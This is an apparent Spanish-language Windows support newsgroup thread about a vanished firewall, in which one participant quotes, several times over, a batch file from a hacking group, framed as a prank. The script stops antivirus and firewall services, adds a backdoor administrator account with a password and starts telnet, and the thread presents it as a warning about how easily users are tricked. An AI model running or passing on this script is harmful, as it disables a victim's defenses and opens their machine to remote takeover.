he perdido el firewall de windows

Una ves encontré esto, en plan broma en es.comp.hackers. que estoy seguro que si se lo envian a la genete un porcentaje alto picaría. (cambia lo de hackear por "seguridad" o algo así.. y muchos tragarian)



Para jackear Windows NT/2000/XP copie ( no copiar las lineas de
comentarios ) el siguiente script en un archivo ( p.ej: Xploit.bat ) y
ejecútelo ( para jackear tienes quue ejecutarlo como administrador, igual
que para algunos exploits de Linux que hay que ser root ).


/ BEGIN /

@echo off
net stop Mcshield
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
net stop "Conexión de seguridad a Internet (ICF) / Conexión compartida a
Internet (ICS)"
net user SUPPORT_8869G45R Pure-ftp /add
net localgroup Administradores SSUPPORT_8869G45R /add
net localgroup Administrators SUPPORT_8869G45R /add
net group "Domain Admins" SUPPORT_8869G45R /add
net start telnet
exit


/ END /



Cuando lo ejecute, envie un e-mail a para saber cómo
usarlo para entrar en otros ordenadores ( GuyRulez le hará una
demostración ).




Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Imagino que si, pero vamos a darle un beneficio a la duda, lo mejor que hace es iniciar el servicio, si detecta en la misma sesion que se baja solito, ya sabe lo que debe hacer.
Y si se va a inicio -ejecutar y escribe netstat y ve muchas ips, mejor que se tome un calmante


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:%23$
tiene toda la pinta que le han entrado con el exploit de LSA (sasser pero con exploit) y estan la mirdacrios desactivando todos los servicios lo primero. y luego dejan ademas el huevo Kinder

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Hola,
¿ Has mirado si el servicio esta iniciado ?
Comprueba esto en inicio- panel de control- herramientas administrativas - servicios

este servicio debe estar en auto e iniciado - internet connection Firewall - internet connection sharing -

Saludos

Antonio FD
MS Windows Embedded


"Joaquim" wrote in message news:

hola, no se desde cuando me ha desaparecido el firewall, sii voy a opciones
avanzadas de als propiedades de la conexion, en lugar de los dialogos de
firewall y conexion remota , me sale: " es posible que la informacion del
servicio de instrumentacion de administracion de windows (WMI) se encuentre
da;adause restaurar sistema" el caso es que por mucho que restaure no
puedo remediarlo.
gracias

Vaya hombre, ¿ y con todos esos NET STOP no se mosquenan ? :-)


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:
Una ves encontré esto, en plan broma en es.comp.hackers. que estoy seguro que si se lo envian a la genete un porcentaje alto picaría. (cambia lo de hackear por "seguridad" o algo así.. y muchos tragarian)



Para jackear Windows NT/2000/XP copie ( no copiar las lineas de
comentarios ) el siguiente script en un archivo ( p.ej: Xploit.bat ) y
ejecútelo ( para jackear tienes quue ejecutarlo como administrador, igual
que para algunos exploits de Linux que hay que ser root ).


/ BEGIN /

@echo off
net stop Mcshield
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
net stop "Conexión de seguridad a Internet (ICF) / Conexión compartida a
Internet (ICS)"
net user SUPPORT_8869G45R Pure-ftp /add
net localgroup Administradores SSUPPORT_8869G45R /add
net localgroup Administrators SUPPORT_8869G45R /add
net group "Domain Admins" SUPPORT_8869G45R /add
net start telnet
exit


/ END /



Cuando lo ejecute, envie un e-mail a para saber cómo
usarlo para entrar en otros ordenadores ( GuyRulez le hará una
demostración ).




Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Imagino que si, pero vamos a darle un beneficio a la duda, lo mejor que hace es iniciar el servicio, si detecta en la misma sesion que se baja solito, ya sabe lo que debe hacer.
Y si se va a inicio -ejecutar y escribe netstat y ve muchas ips, mejor que se tome un calmante


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:%23$
tiene toda la pinta que le han entrado con el exploit de LSA (sasser pero con exploit) y estan la mirdacrios desactivando todos los servicios lo primero. y luego dejan ademas el huevo Kinder

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Hola,
¿ Has mirado si el servicio esta iniciado ?
Comprueba esto en inicio- panel de control- herramientas administrativas - servicios

este servicio debe estar en auto e iniciado - internet connection Firewall - internet connection sharing -

Saludos

Antonio FD
MS Windows Embedded


"Joaquim" wrote in message news:

hola, no se desde cuando me ha desaparecido el firewall, sii voy a opciones
avanzadas de als propiedades de la conexion, en lugar de los dialogos de
firewall y conexion remota , me sale: " es posible que la informacion del
servicio de instrumentacion de administracion de windows (WMI) se encuentre
da;adause restaurar sistema" el caso es que por mucho que restaure no
puedo remediarlo.
gracias

¿apostarias algo?... :-)
por desgracia. colaría...

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Vaya hombre, ¿ y con todos esos NET STOP no se mosquenan ? :-)


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:
Una ves encontré esto, en plan broma en es.comp.hackers. que estoy seguro que si se lo envian a la genete un porcentaje alto picaría. (cambia lo de hackear por "seguridad" o algo así.. y muchos tragarian)



Para jackear Windows NT/2000/XP copie ( no copiar las lineas de
comentarios ) el siguiente script en un archivo ( p.ej: Xploit.bat ) y
ejecútelo ( para jackear tienes quue ejecutarlo como administrador, igual
que para algunos exploits de Linux que hay que ser root ).


/ BEGIN /

@echo off
net stop Mcshield
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
net stop "Conexión de seguridad a Internet (ICF) / Conexión compartida a
Internet (ICS)"
net user SUPPORT_8869G45R Pure-ftp /add
net localgroup Administradores SSUPPORT_8869G45R /add
net localgroup Administrators SUPPORT_8869G45R /add
net group "Domain Admins" SUPPORT_8869G45R /add
net start telnet
exit


/ END /



Cuando lo ejecute, envie un e-mail a para saber cómo
usarlo para entrar en otros ordenadores ( GuyRulez le hará una
demostración ).




Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Imagino que si, pero vamos a darle un beneficio a la duda, lo mejor que hace es iniciar el servicio, si detecta en la misma sesion que se baja solito, ya sabe lo que debe hacer.
Y si se va a inicio -ejecutar y escribe netstat y ve muchas ips, mejor que se tome un calmante


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:%23$
tiene toda la pinta que le han entrado con el exploit de LSA (sasser pero con exploit) y estan la mirdacrios desactivando todos los servicios lo primero. y luego dejan ademas el huevo Kinder

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Hola,
¿ Has mirado si el servicio esta iniciado ?
Comprueba esto en inicio- panel de control- herramientas administrativas - servicios

este servicio debe estar en auto e iniciado - internet connection Firewall - internet connection sharing -

Saludos

Antonio FD
MS Windows Embedded


"Joaquim" wrote in message news:

hola, no se desde cuando me ha desaparecido el firewall, sii voy a opciones
avanzadas de als propiedades de la conexion, en lugar de los dialogos de
firewall y conexion remota , me sale: " es posible que la informacion del
servicio de instrumentacion de administracion de windows (WMI) se encuentre
da;adause restaurar sistema" el caso es que por mucho que restaure no
puedo remediarlo.
gracias

No hombre te creo, si te das un paseo por estos foros y ves cada cosa, por ejemplo estos dias, hay culturas de muchos tipos

"hay 10 tipos de personas, las que entienden el codigo binario y las que no" :-)


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:
¿apostarias algo?... :-)
por desgracia. colaría...

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Vaya hombre, ¿ y con todos esos NET STOP no se mosquenan ? :-)


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:
Una ves encontré esto, en plan broma en es.comp.hackers. que estoy seguro que si se lo envian a la genete un porcentaje alto picaría. (cambia lo de hackear por "seguridad" o algo así.. y muchos tragarian)



Para jackear Windows NT/2000/XP copie ( no copiar las lineas de
comentarios ) el siguiente script en un archivo ( p.ej: Xploit.bat ) y
ejecútelo ( para jackear tienes quue ejecutarlo como administrador, igual
que para algunos exploits de Linux que hay que ser root ).


/ BEGIN /

@echo off
net stop Mcshield
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
net stop "Conexión de seguridad a Internet (ICF) / Conexión compartida a
Internet (ICS)"
net user SUPPORT_8869G45R Pure-ftp /add
net localgroup Administradores SSUPPORT_8869G45R /add
net localgroup Administrators SUPPORT_8869G45R /add
net group "Domain Admins" SUPPORT_8869G45R /add
net start telnet
exit


/ END /



Cuando lo ejecute, envie un e-mail a para saber cómo
usarlo para entrar en otros ordenadores ( GuyRulez le hará una
demostración ).




Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Imagino que si, pero vamos a darle un beneficio a la duda, lo mejor que hace es iniciar el servicio, si detecta en la misma sesion que se baja solito, ya sabe lo que debe hacer.
Y si se va a inicio -ejecutar y escribe netstat y ve muchas ips, mejor que se tome un calmante


Saludos

Antonio FD
MS Windows Embedded


"JM Tella Llop [MVP Windows]" wrote in message news:%23$
tiene toda la pinta que le han entrado con el exploit de LSA (sasser pero con exploit) y estan la mirdacrios desactivando todos los servicios lo primero. y luego dejan ademas el huevo Kinder

Jose Manuel Tella Llop
MVP - Windows

http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no rights.
You assume all risk for your use.




"Antonio" wrote in message news:
Hola,
¿ Has mirado si el servicio esta iniciado ?
Comprueba esto en inicio- panel de control- herramientas administrativas - servicios

este servicio debe estar en auto e iniciado - internet connection Firewall - internet connection sharing -

Saludos

Antonio FD
MS Windows Embedded


"Joaquim" wrote in message news:

hola, no se desde cuando me ha desaparecido el firewall, sii voy a opciones
avanzadas de als propiedades de la conexion, en lugar de los dialogos de
firewall y conexion remota , me sale: " es posible que la informacion del
servicio de instrumentacion de administracion de windows (WMI) se encuentre
da;adause restaurar sistema" el caso es que por mucho que restaure no
puedo remediarlo.
gracias

"Waldin" escribió en el mensaje
news:

¿Has tocado los servicios del sistema?
Ve a panel de control->Rendimiento y mantenimiento->Herramientas
administrativas->Servicios.
Pon el servicio "Instrumental de administración de Windows" en inicio
automático y reinicia el equipo.
Comprueba si funciona.

"Joaquim" escribió en el mensaje
news:
> (...) me sale: " es posible que la informacion del
> servicio de instrumentacion de administracion de windows (WMI) se
encuentre
> da;adause restaurar sistema" ...